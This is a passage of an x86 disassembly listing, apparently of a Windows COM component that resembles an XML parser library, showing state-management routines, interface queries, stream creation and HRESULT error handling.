call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
xor ebx, ebx
mov [ebp-20h], ebx
mov [ebp-24h], ebx
mov [ebp-4], ebx
mov edi, [ebp+8]
push edi
lea ecx, [esi+24h]
call sub_69B199CC
lea eax, [esi+28h]
mov [ebp-28h], eax
mov [ebp-2Ch], eax
push ebx
push eax
call sub_69B17320
lea eax, [esi+2Ch]
mov [ebp-30h], eax
mov [ebp-34h], eax
push ebx
push eax
call sub_69B17320
add esi, 30h
mov [ebp-38h], esi
push ebx
push esi
call sub_69B17320
cmp edi, ebx
jz loc_69B46C25
mov eax, [edi]
mov esi, [ebp-28h]
push esi
push offset dword_69B2AFF0
push edi
call dword ptr [eax]
test eax, eax
jge loc_69B46C25
mov eax, [edi]
lea ecx, [ebp-24h]
push ecx
push offset dword_69B2B000
push edi
call dword ptr [eax]
test eax, eax
jl short loc_69B46B62
push dword ptr [ebp-24h]
call sub_69B38858
loc_69B46B4D: ; CODE XREF: sub_69B46AC0+CCj
; sub_69B46AC0+D0j
push eax
mov ecx, esi
call sub_69B199CC
mov eax, [esi]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
jmp loc_69B46C25
; ---------------------------------------------------------------------------
loc_69B46B62: ; CODE XREF: sub_69B46AC0+83j
mov eax, [edi]
lea ecx, [ebp-20h]
push ecx
push offset dword_69B28DD8
push edi
call dword ptr [eax]
test eax, eax
jl short loc_69B46B92
push 34h
call sub_69B1D897
mov [ebp-3Ch], eax
cmp eax, ebx
jz short loc_69B46B8E
push dword ptr [ebp-20h]
mov ecx, eax
call sub_69B5656B
jmp short loc_69B46B4D
; ---------------------------------------------------------------------------
loc_69B46B8E: ; CODE XREF: sub_69B46AC0+C0j
xor eax, eax
jmp short loc_69B46B4D
; ---------------------------------------------------------------------------
loc_69B46B92: ; CODE XREF: sub_69B46AC0+B2j
push esi
mov eax, edi
call sub_69B46A47
test eax, eax
jge loc_69B46C25
mov eax, [edi]
push dword ptr [ebp-30h]
push offset dword_69B2B020
push edi
call dword ptr [eax]
test eax, eax
jge short loc_69B46BCB
mov eax, [edi]
push dword ptr [ebp-30h]
push offset dword_69B2B0D0
push edi
call dword ptr [eax]
test eax, eax
jge short loc_69B46BCB
push 80004002h
jmp short loc_69B46BD6
; ---------------------------------------------------------------------------
loc_69B46BCB: ; CODE XREF: sub_69B46AC0+F1j
; sub_69B46AC0+102j
push esi ; ppstm
push 1 ; fDeleteOnRelease
push ebx ; hGlobal
call ds:CreateStreamOnHGlobal
push eax
loc_69B46BD6: ; CODE XREF: sub_69B46AC0+109j
call sub_69B8861E
jmp short loc_69B46C25
; ---------------------------------------------------------------------------
loc_69B46BDD: ; DATA XREF: .text:69B46C4Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B46BE6: ; DATA XREF: .text:69B46C50o
mov esp, [ebp-18h]
mov esi, [ebp-1Ch]
lea eax, [esi+24h]
xor ebx, ebx
push ebx
push eax
call sub_69B17320
lea eax, [esi+28h]
push ebx
push eax
call sub_69B17320
lea eax, [esi+2Ch]
push ebx
push eax
call sub_69B17320
push ebx
lea eax, [ebp-20h]
push eax
call sub_69B17320
push ebx
lea eax, [ebp-24h]
push eax
call sub_69B17320
call sub_69B2E860
loc_69B46C25: ; CODE XREF: sub_69B46AC0+57j
; sub_69B46AC0+6Dj ...
or dword ptr [ebp-4], 0FFFFFFFFh
lea eax, [ebp-24h]
push eax
call sub_69B17230
lea eax, [ebp-20h]
push eax
call sub_69B17230
call sub_69B1853C
retn 4
sub_69B46AC0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B46C48 dd 0FFFFFFFFh dd offset loc_69B46BDD
dd offset loc_69B46BE6
; =============== S U B R O U T I N E =======================================
sub_69B46C54 proc near ; CODE XREF: sub_69B46CA6+22p
push esi
mov esi, ecx
mov eax, [esi+24h]
test eax, eax
push edi
jnz short loc_69B46C91
push 1000h
call sub_69B88D8C
push eax
lea edi, [esi+30h]
push edi
call sub_69B17320
push dword ptr [edi]
call sub_69B887E9
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
lea edi, [esi+28h]
push edi
call sub_69B17320
jmp short loc_69B46CA1
; ---------------------------------------------------------------------------
loc_69B46C91: ; CODE XREF: sub_69B46C54+9j
lea edi, [esi+28h]
cmp dword ptr [edi], 0
jnz short loc_69B46CA1
push eax
mov ecx, esi
call sub_69B46AC0
loc_69B46CA1: ; CODE XREF: sub_69B46C54+3Bj
; sub_69B46C54+43j
mov eax, [edi]
pop edi
pop esi
retn
sub_69B46C54 endp
; =============== S U B R O U T I N E =======================================
sub_69B46CA6 proc near ; CODE XREF: sub_69B47486+78p
push 28h
push offset dword_69B46D38
call sub_69B19C5C
mov esi, ecx
and dword ptr [ebp-4], 0
mov eax, [esi+38h]
mov [ebp-1Ch], eax
push 0
push eax
call sub_69B3B54A
mov ecx, esi
call sub_69B46C54
mov [ebp-20h], eax
mov eax, [esi+54h]
mov edx, [esi+50h]
mov [ebp-24h], edx
mov edi, [esi+24h]
mov [ebp-28h], edi
mov ecx, [esi+20h]
mov [ebp-2Ch], ecx
mov esi, [esi+38h]
mov [ebp-30h], esi
mov [ebp-34h], ecx
mov ebx, eax
add eax, 8
neg ebx
sbb ebx, ebx
and ebx, eax
push ebx
push edx
test edi, edi
setz al
push eax
push dword ptr [ebp-20h]
call sub_69B6E61A
push eax
push esi
mov ecx, [ebp-34h]
call sub_69B6FABE
xor eax, eax
mov [ebp-38h], eax
jmp short loc_69B46D2B
; ---------------------------------------------------------------------------
loc_69B46D1A: ; DATA XREF: .text:69B46D3Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B46D23: ; DATA XREF: .text:69B46D40o
mov esp, [ebp-18h]
call sub_69B2E808
loc_69B46D2B: ; CODE XREF: sub_69B46CA6+72j
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B1853C
retn
sub_69B46CA6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
dword_69B46D38 dd 0FFFFFFFFh dd offset loc_69B46D1A
dd offset loc_69B46D23
; =============== S U B R O U T I N E =======================================
sub_69B46D44 proc near ; CODE XREF: sub_69B471C0+35p
; sub_69B47287+25p ...
push esi
mov esi, ecx
push 0
lea eax, [esi+28h]
push eax
call sub_69B17320
mov eax, [esi+58h]
cmp eax, 2
jl short loc_69B46D74
cmp eax, 4
jg short loc_69B46D74
mov ecx, [esi+20h]
call sub_69B6ED05
mov eax, [esi+38h]
test eax, eax
jz short loc_69B46D74
push eax
call sub_69B3B496
loc_69B46D74: ; CODE XREF: sub_69B46D44+14j
; sub_69B46D44+19j ...
mov dword ptr [esi+58h], 5
pop esi
retn
sub_69B46D44 endp
; =============== S U B R O U T I N E =======================================
sub_69B46D7D proc near ; DATA XREF: .text:69B126D4o
push 28h
push offset dword_69B46E40
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B46DA2
mov eax, 80004005h
jmp loc_69B46E31
; ---------------------------------------------------------------------------
loc_69B46DA2: ; CODE XREF: sub_69B46D7D+19j
push edi
lea ecx, [ebp-28h]
call sub_69B11D3B
mov esi, [ebp+0Ch]
cmp esi, edi
jnz short loc_69B46DCA
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, 80070057h
jmp short loc_69B46E31
; ---------------------------------------------------------------------------
loc_69B46DCA: ; CODE XREF: sub_69B46D7D+33j
mov [ebp-4], edi
mov [esi], edi
mov eax, [ebp+8]
mov eax, [eax+50h]
mov [ebp-2Ch], eax
cmp eax, edi
jz short loc_69B46DF3
mov [ebp-30h], eax
mov ecx, [eax+14h]
mov [ebp-34h], ecx
mov eax, [ecx]
call dword ptr [eax+2Ch]
mov ecx, eax
call sub_69B2F352
mov [esi], eax
loc_69B46DF3: ; CODE XREF: sub_69B46D7D+5Dj
mov [ebp-38h], edi
jmp short loc_69B46E19
; ---------------------------------------------------------------------------
loc_69B46DF8: ; DATA XREF: .text:69B46E44o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B46E01: ; DATA XREF: .text:69B46E48o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-38h], eax
loc_69B46E19: ; CODE XREF: sub_69B46D7D+79j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-38h]
loc_69B46E31: ; CODE XREF: sub_69B46D7D+20j
; sub_69B46D7D+4Bj
call sub_69B1853C
retn 8
sub_69B46D7D endp
; ---------------------------------------------------------------------------
align 10h
dword_69B46E40 dd 0FFFFFFFFh dd offset loc_69B46DF8
dd offset loc_69B46E01
; =============== S U B R O U T I N E =======================================
sub_69B46E4C proc near ; DATA XREF: .text:69B126D8o
push 2Ch
push offset dword_69B46F10
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B46E71
mov eax, 80004005h
jmp loc_69B46F07
; ---------------------------------------------------------------------------
loc_69B46E71: ; CODE XREF: sub_69B46E4C+19j
push edi
lea ecx, [ebp-28h]
call sub_69B11D3B
mov esi, [ebp+0Ch]
cmp esi, edi
jnz short loc_69B46E99
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, 80070057h
jmp short loc_69B46F07
; ---------------------------------------------------------------------------
loc_69B46E99: ; CODE XREF: sub_69B46E4C+33j
mov [ebp-4], edi
mov [esi], edi
mov eax, [ebp+8]
mov eax, [eax+50h]
mov [ebp-2Ch], eax
cmp eax, edi
jz short loc_69B46EC9
mov [ebp-30h], eax
mov ecx, [eax+10h]
mov [ebp-34h], ecx
mov [ebp-38h], ecx
cmp ecx, edi
jz short loc_69B46EC9
mov eax, [ecx]
call dword ptr [eax+2Ch]
mov ecx, eax
call sub_69B2F352
mov [esi], eax
loc_69B46EC9: ; CODE XREF: sub_69B46E4C+5Dj
; sub_69B46E4C+6Dj
mov [ebp-3Ch], edi
jmp short loc_69B46EEF
; ---------------------------------------------------------------------------
loc_69B46ECE: ; DATA XREF: .text:69B46F14o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B46ED7: ; DATA XREF: .text:69B46F18o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-3Ch], eax
loc_69B46EEF: ; CODE XREF: sub_69B46E4C+80j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-3Ch]
loc_69B46F07: ; CODE XREF: sub_69B46E4C+20j
; sub_69B46E4C+4Bj
call sub_69B1853C
retn 8
sub_69B46E4C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B46F10 dd 0FFFFFFFFh dd offset loc_69B46ECE
dd offset loc_69B46ED7
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B46F1C(LPCWSTR lpString, int, int)
sub_69B46F1C proc near ; CODE XREF: sub_69B47043+27p
lpString = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push 20h
call sub_69B17EF3
test eax, eax
jz short loc_69B46F33
mov ecx, eax
call sub_69B14D9C
mov esi, eax
jmp short loc_69B46F35
; ---------------------------------------------------------------------------
loc_69B46F33: ; CODE XREF: sub_69B46F1C+Aj
xor esi, esi
loc_69B46F35: ; CODE XREF: sub_69B46F1C+15j
push edi
push [esp+8+lpString] ; lpString
call sub_69B2FADA
mov edi, eax
mov eax, [esp+8+arg_8]
test eax, eax
jz short loc_69B46F57
cmp word ptr [eax], 0
jz short loc_69B46F57
push eax ; lpString
call sub_69B2FADA
jmp short loc_69B46F59
; ---------------------------------------------------------------------------
loc_69B46F57: ; CODE XREF: sub_69B46F1C+2Bj
; sub_69B46F1C+31j
xor eax, eax
loc_69B46F59: ; CODE XREF: sub_69B46F1C+39j
push eax
push edi
call sub_69B192E9
push eax
lea eax, [esi+8]
push eax
call sub_69B17320
push [esp+8+arg_4]
lea ecx, [esi+10h]
mov byte ptr [esi+14h], 1
call sub_69B64A14
test al, al
pop edi
jnz short loc_69B46F89
push 80020005h
call sub_69B2E8B8
loc_69B46F89: ; CODE XREF: sub_69B46F1C+61j
mov eax, esi
pop esi
retn 0Ch
sub_69B46F1C endp
; =============== S U B R O U T I N E =======================================
sub_69B46F8F proc near ; DATA XREF: .text:69B14DF0o
push esi
mov esi, ecx
push 0
lea eax, [esi+8]
push eax
call sub_69B17320
lea ecx, [esi+10h]
call sub_69B466CC
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B46F8F endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B46FAD(int, LPCWSTR lpString)
sub_69B46FAD proc near ; CODE XREF: sub_69B4707B+23p
arg_0 = dword ptr 4
lpString = dword ptr 8
push esi
push 10h
call sub_69B17EF3
test eax, eax
jz short loc_69B46FC4
mov ecx, eax
call sub_69B14DF4
mov esi, eax
jmp short loc_69B46FC6
; ---------------------------------------------------------------------------
loc_69B46FC4: ; CODE XREF: sub_69B46FAD+Aj
xor esi, esi
loc_69B46FC6: ; CODE XREF: sub_69B46FAD+15j
push [esp+4+lpString] ; lpString
call sub_69B2FADA
push eax
lea eax, [esi+8]
push eax
call sub_69B17320
push [esp+4+arg_0]
lea eax, [esi+0Ch]
push eax
call sub_69B17320
mov eax, esi
pop esi
retn 8
sub_69B46FAD endp
; =============== S U B R O U T I N E =======================================
sub_69B46FEC proc near ; DATA XREF: .text:69B14E44o
push esi
mov esi, ecx
push 0
lea eax, [esi+8]
push eax
call sub_69B17320
push 0
lea eax, [esi+0Ch]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B46FEC endp
; =============== S U B R O U T I N E =======================================
sub_69B4700D proc near ; CODE XREF: sub_69B47A04+6Fp
; sub_69B47AEC+67p
; FUNCTION CHUNK AT 69B14E48 SIZE 00000021 BYTES
push 14h
call sub_69B17EF3
test eax, eax
jz short loc_69B4701F
mov ecx, eax
jmp loc_69B14E48
; ---------------------------------------------------------------------------
loc_69B4701F: ; CODE XREF: sub_69B4700D+9j
xor eax, eax
retn
sub_69B4700D endp
; =============== S U B R O U T I N E =======================================
sub_69B47022 proc near ; DATA XREF: .text:69B14EA8o
push esi
mov esi, ecx
push 0
lea eax, [esi+0Ch]
push eax
call sub_69B17320
push 0
lea eax, [esi+10h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B47022 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B47043(LPCWSTR lpString, int, int)
sub_69B47043 proc near ; CODE XREF: sub_69B47A04+8Bp
lpString = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
lea esi, [ecx+0Ch]
cmp dword ptr [esi], 0
jnz short loc_69B4705C
push 0
push 6
call sub_69B8A458
push eax
push esi
call sub_69B17320
loc_69B4705C: ; CODE XREF: sub_69B47043+7j
push [esp+4+arg_8] ; int
mov esi, [esi]
push [esp+8+arg_4] ; int
push [esp+0Ch+lpString] ; lpString
call sub_69B46F1C
push eax
mov ecx, esi
call sub_69B8A35C
pop esi
retn 0Ch
sub_69B47043 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B4707B(int, LPCWSTR lpString)
sub_69B4707B proc near ; CODE XREF: sub_69B47AEC+93p
arg_0 = dword ptr 4
lpString = dword ptr 8
push esi
lea esi, [ecx+10h]
cmp dword ptr [esi], 0
jnz short loc_69B47094
push 0
push 6
call sub_69B8A458
push eax
push esi
call sub_69B17320
loc_69B47094: ; CODE XREF: sub_69B4707B+7j
push [esp+4+lpString] ; lpString
mov esi, [esi]
push [esp+8+arg_0] ; int
call sub_69B46FAD
push eax
mov ecx, esi
call sub_69B8A35C
pop esi
retn 8
sub_69B4707B endp
; =============== S U B R O U T I N E =======================================
sub_69B470AF proc near ; CODE XREF: sub_69B47360+3p
push esi
mov esi, ecx
mov dword ptr [esi+8], offset dword_69B99280
push off_69B99284
lea ecx, [esi+0Ch]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B470AF endp
; =============== S U B R O U T I N E =======================================
sub_69B470D0 proc near ; DATA XREF: .text:off_69B281DCo
arg_0 = dword ptr 4
sub [esp+arg_0], 4
jmp sub_69B3B7BC
sub_69B470D0 endp
; ---------------------------------------------------------------------------
loc_69B470DA: ; DATA XREF: .text:off_69B2819Co
sub dword ptr [esp+4], 18h
jmp sub_69B3B7BC
; ---------------------------------------------------------------------------
loc_69B470E4: ; DATA XREF: .text:off_69B281D8o
push esi
mov esi, ecx
call sub_69B46944
test byte ptr [esp+8], 1
jz short loc_69B470FC
lea eax, [esi-0Ch]
push eax
call sub_69B1B2B7
loc_69B470FC: ; CODE XREF: .text:69B470F1j
lea eax, [esi-0Ch]
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B47103 proc near ; DATA XREF: .text:69B14DC8o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B4711E
test [esp+4+arg_0], 1
jz short loc_69B47118
push esi
call sub_69B1829F
loc_69B47118: ; CODE XREF: sub_69B47103+Dj
mov eax, esi
pop esi
retn 4
sub_69B47103 endp
; =============== S U B R O U T I N E =======================================
sub_69B4711E proc near ; CODE XREF: sub_69B47103+3p
push esi
mov esi, ecx
lea ecx, [esi+10h]
call sub_69B466CC
lea eax, [esi+8]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B4711E endp
; =============== S U B R O U T I N E =======================================
sub_69B4713A proc near ; CODE XREF: sub_69B78671+3p
push esi
mov esi, ecx
lea eax, [esi+0Ch]
push eax
call sub_69B17230
lea eax, [esi+8]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B4713A endp
; =============== S U B R O U T I N E =======================================
sub_69B47157 proc near ; DATA XREF: .text:69B14E80o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B8F249
test [esp+4+arg_0], 1
jz short loc_69B4716C
push esi
call sub_69B1829F
loc_69B4716C: ; CODE XREF: sub_69B47157+Dj
mov eax, esi
pop esi
retn 4
sub_69B47157 endp
; =============== S U B R O U T I N E =======================================
sub_69B47172 proc near ; CODE XREF: sub_69B471C0+3Cp
; sub_69B473A7+10p
push esi
push edi
mov esi, ecx
xor edi, edi
push edi
lea eax, [esi+24h]
push eax
call sub_69B17320
push edi
lea eax, [esi+28h]
push eax
call sub_69B17320
push edi
lea eax, [esi+2Ch]
push eax
call sub_69B17320
push edi
lea eax, [esi+30h]
push eax
call sub_69B17320
push edi
lea eax, [esi+50h]
push eax
call sub_69B17320
push edi
lea eax, [esi+54h]
push eax
call sub_69B17320
mov [esi+58h], edi
pop edi
mov ecx, esi
pop esi
jmp sub_69B46A13
sub_69B47172 endp
; =============== S U B R O U T I N E =======================================
sub_69B471C0 proc near ; CODE XREF: sub_69B47254+1Ep
push 1Ch
push offset dword_69B47248
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
call dword_69B92948
mov [ebp-20h], eax
test eax, eax
jnz short loc_69B471E5
mov eax, 80004005h
jmp short loc_69B47241
; ---------------------------------------------------------------------------
loc_69B471E5: ; CODE XREF: sub_69B471C0+1Cj
push 0
lea ecx, [ebp-2Ch]
call sub_69B11D3B
and dword ptr [ebp-4], 0
mov ecx, esi
call sub_69B46D44
mov ecx, esi
call sub_69B47172
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B4721A
; ---------------------------------------------------------------------------
loc_69B47207: ; DATA XREF: .text:69B4724Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B47210: ; DATA XREF: .text:69B47250o
mov esp, [ebp-18h]
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-1Ch]
loc_69B4721A: ; CODE XREF: sub_69B471C0+45j
mov ecx, [esi+1Ch]
test ecx, ecx
jz short loc_69B4722B
push esi
call sub_69B3B4D3
mov esi, eax
jmp short loc_69B4722E
; ---------------------------------------------------------------------------
loc_69B4722B: ; CODE XREF: sub_69B471C0+5Fj
xor esi, esi
inc esi
loc_69B4722E: ; CODE XREF: sub_69B471C0+69j
lea ecx, [ebp-2Ch]
call sub_69B1976C
push dword ptr [ebp-20h]
call dword_69B92944
mov eax, esi
loc_69B47241: ; CODE XREF: sub_69B471C0+23j
call sub_69B1853C
retn
sub_69B471C0 endp
; ---------------------------------------------------------------------------
align 4
dword_69B47248 dd 0FFFFFFFFh dd offset loc_69B47207
dd offset loc_69B47210
; =============== S U B R O U T I N E =======================================
sub_69B47254 proc near ; CODE XREF: sub_69B4734C+5j
; sub_69B47356+5j
; DATA XREF: ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
lea esi, [edi+0Ch]
mov ecx, esi
call sub_69B18E54
mov ecx, esi
call sub_69B19038
cmp eax, 1
jnz short loc_69B4727B
mov ecx, edi
call sub_69B471C0
test eax, eax
jz short loc_69B47282
loc_69B4727B: ; CODE XREF: sub_69B47254+1Aj
mov ecx, esi
call sub_69B19038
loc_69B47282: ; CODE XREF: sub_69B47254+25j
pop edi
pop esi
retn 4
sub_69B47254 endp
; =============== S U B R O U T I N E =======================================
sub_69B47287 proc near ; CODE XREF: sub_69B472C5+31p
; sub_69B473F6+13j ...
push esi
mov esi, ecx
mov eax, [esi+58h]
dec eax
dec eax
jz short loc_69B472AA
dec eax
jz short loc_69B4729A
dec eax
dec eax
jz short loc_69B472B1
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B4729A: ; CODE XREF: sub_69B47287+Bj
mov dword ptr [esi+58h], 4
mov esi, [esi+20h]
or dword ptr [esi+58h], 20h
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B472AA: ; CODE XREF: sub_69B47287+8j
mov ecx, esi
call sub_69B46D44
loc_69B472B1: ; CODE XREF: sub_69B47287+Fj
mov eax, [esi+30h]
test eax, eax
jz short loc_69B472BC
and dword ptr [eax+8], 0
loc_69B472BC: ; CODE XREF: sub_69B47287+2Fj
mov dword ptr [esi+58h], 1
pop esi
retn
sub_69B47287 endp
; =============== S U B R O U T I N E =======================================
sub_69B472C5 proc near ; DATA XREF: .text:69B126E8o
push 18h
push offset dword_69B47340
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor esi, esi
cmp eax, esi
jnz short loc_69B472E7
mov eax, 80004005h
jmp short loc_69B47334
; ---------------------------------------------------------------------------
loc_69B472E7: ; CODE XREF: sub_69B472C5+19j
push esi
lea ecx, [ebp-28h]
call sub_69B11D3B
mov [ebp-4], esi
mov ecx, [ebp+8]
call sub_69B47287
jmp short loc_69B4731D
; ---------------------------------------------------------------------------
loc_69B472FD: ; DATA XREF: .text:69B47344o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B47306: ; DATA XREF: .text:69B47348o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov esi, eax
loc_69B4731D: ; CODE XREF: sub_69B472C5+36j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, esi
loc_69B47334: ; CODE XREF: sub_69B472C5+20j
call sub_69B1853C
retn 4
sub_69B472C5 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B47340 dd 0FFFFFFFFh dd offset loc_69B472FD
dd offset loc_69B47306
; =============== S U B R O U T I N E =======================================
sub_69B4734C proc near ; DATA XREF: .text:69B281E4o
arg_0 = dword ptr 4
sub [esp+arg_0], 4
jmp sub_69B47254
sub_69B4734C endp
; =============== S U B R O U T I N E =======================================
sub_69B47356 proc near ; DATA XREF: .text:69B281A4o
arg_0 = dword ptr 4
sub [esp+arg_0], 18h
jmp sub_69B47254
sub_69B47356 endp
; =============== S U B R O U T I N E =======================================
sub_69B47360 proc near ; CODE XREF: sub_69B47BDC+37p
push esi
mov esi, ecx
call sub_69B470AF
xor eax, eax
mov dword ptr [esi], offset off_69B126A8
mov dword ptr [esi+4], offset off_69B281DC
mov dword ptr [esi+0Ch], offset off_69B281D8
mov dword ptr [esi+18h], offset off_69B2819C
mov [esi+1Ch], eax
mov [esi+20h], eax
mov [esi+24h], eax
mov [esi+28h], eax
mov [esi+2Ch], eax
mov [esi+30h], eax
mov [esi+34h], eax
mov [esi+38h], eax
mov [esi+50h], eax
mov [esi+54h], eax
mov eax, esi
pop esi
retn
sub_69B47360 endp
; =============== S U B R O U T I N E =======================================
sub_69B473A7 proc near ; CODE XREF: sub_69B47BDC+4Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push edi
lea eax, [esi+40h]
push eax ; pvarg
call VariantInit
mov ecx, esi
call sub_69B47172
push [esp+8+arg_0]
call sub_69B48A77
mov edi, eax
push edi
call sub_69B3B47B
push [esp+8+arg_0]
lea eax, [esi+34h]
push eax
call sub_69B17320
call sub_69B6F741
push eax
add esi, 20h
push esi
call sub_69B17320
mov ecx, [esi]
push edi
call sub_69B6EDDE
pop edi
pop esi
retn 4
sub_69B473A7 endp
; =============== S U B R O U T I N E =======================================
sub_69B473F6 proc near ; CODE XREF: sub_69B475B7+135p
mov eax, [ecx+58h]
test eax, eax
jl short loc_69B47412
xor edx, edx
inc edx
cmp eax, edx
jle short loc_69B4740E
cmp eax, 5
jnz short loc_69B47412
jmp sub_69B47287
; ---------------------------------------------------------------------------
loc_69B4740E: ; CODE XREF: sub_69B473F6+Cj
mov [ecx+58h], edx
retn
; ---------------------------------------------------------------------------
loc_69B47412: ; CODE XREF: sub_69B473F6+5j
; sub_69B473F6+11j
push 0
push 0C00CE229h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
retn
sub_69B473F6 endp
; =============== S U B R O U T I N E =======================================
sub_69B47427 proc near ; CODE XREF: sub_69B475B7+13Fp
; sub_69B475B7+165p
push esi
mov esi, ecx
mov eax, [esi+58h]
test eax, eax
jl short loc_69B47446
cmp eax, 1
jle short loc_69B47440
cmp eax, 5
jnz short loc_69B47446
call sub_69B47287
loc_69B47440: ; CODE XREF: sub_69B47427+Dj
and dword ptr [esi+58h], 0
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B47446: ; CODE XREF: sub_69B47427+8j
; sub_69B47427+12j
push 0
push 0C00CE229h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
pop esi
retn
sub_69B47427 endp
; =============== S U B R O U T I N E =======================================
sub_69B4745C proc near ; CODE XREF: sub_69B4778C+36p
; sub_69B4789C+31p ...
mov eax, [ecx+58h]
test eax, eax
jl short loc_69B47471
cmp eax, 1
jle short locret_69B47485
cmp eax, 5
jz sub_69B47287
loc_69B47471: ; CODE XREF: sub_69B4745C+5j
push 0
push 0C00CE229h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
locret_69B47485: ; CODE XREF: sub_69B4745C+Aj
retn
sub_69B4745C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B47486 proc near ; CODE XREF: sub_69B4793C+59p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
mov esi, ecx
mov eax, [esi+58h]
test eax, eax
push edi
mov ebx, 80004005h
jz short loc_69B474DE
cmp eax, 1
jz short loc_69B474F5
cmp eax, 2
jz short loc_69B474D5
jle loc_69B475B2
cmp eax, 4
jle short loc_69B474BC
cmp eax, 5
jz short loc_69B474EE
jmp loc_69B475B2
; ---------------------------------------------------------------------------
loc_69B474BC: ; CODE XREF: sub_69B47486+2Aj
push 0
push 0C00CE229h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
jmp loc_69B475B2
; ---------------------------------------------------------------------------
loc_69B474D5: ; CODE XREF: sub_69B47486+1Fj
mov dword ptr [esi+58h], 3
jmp short loc_69B47517
; ---------------------------------------------------------------------------
loc_69B474DE: ; CODE XREF: sub_69B47486+15j
push 0
push 0C00CE228h
push ebx
call sub_69B2E9D0
add esp, 0Ch
loc_69B474EE: ; CODE XREF: sub_69B47486+2Fj
mov ecx, esi
call sub_69B47287
loc_69B474F5: ; CODE XREF: sub_69B47486+1Aj
mov ecx, esi
mov dword ptr [esi+58h], 3
call sub_69B46CA6
mov edi, eax
test edi, edi
jz short loc_69B47517
mov ecx, esi
call sub_69B46D44
mov ecx, edi
call sub_69B2E875
loc_69B47517: ; CODE XREF: sub_69B47486+56j
; sub_69B47486+81j
mov ecx, esi
call sub_69B46740
cmp dword ptr [esi+58h], 4
mov ecx, eax
mov [ebp+var_4], ecx
jnz short loc_69B47549
mov ecx, esi
call sub_69B46D44
mov ecx, esi
call sub_69B47287
push 0
push 0C00CE22Ah
push ebx
call sub_69B2E9D0
add esp, 0Ch
jmp short loc_69B4759F
; ---------------------------------------------------------------------------
loc_69B47549: ; CODE XREF: sub_69B47486+A1j
test ecx, ecx
jz short loc_69B47562
call sub_69B2E804
cmp eax, 8000000Ah
jnz short loc_69B4759F
mov dword ptr [esi+58h], 2
jmp short loc_69B475B2
; ---------------------------------------------------------------------------
loc_69B47562: ; CODE XREF: sub_69B47486+C5j
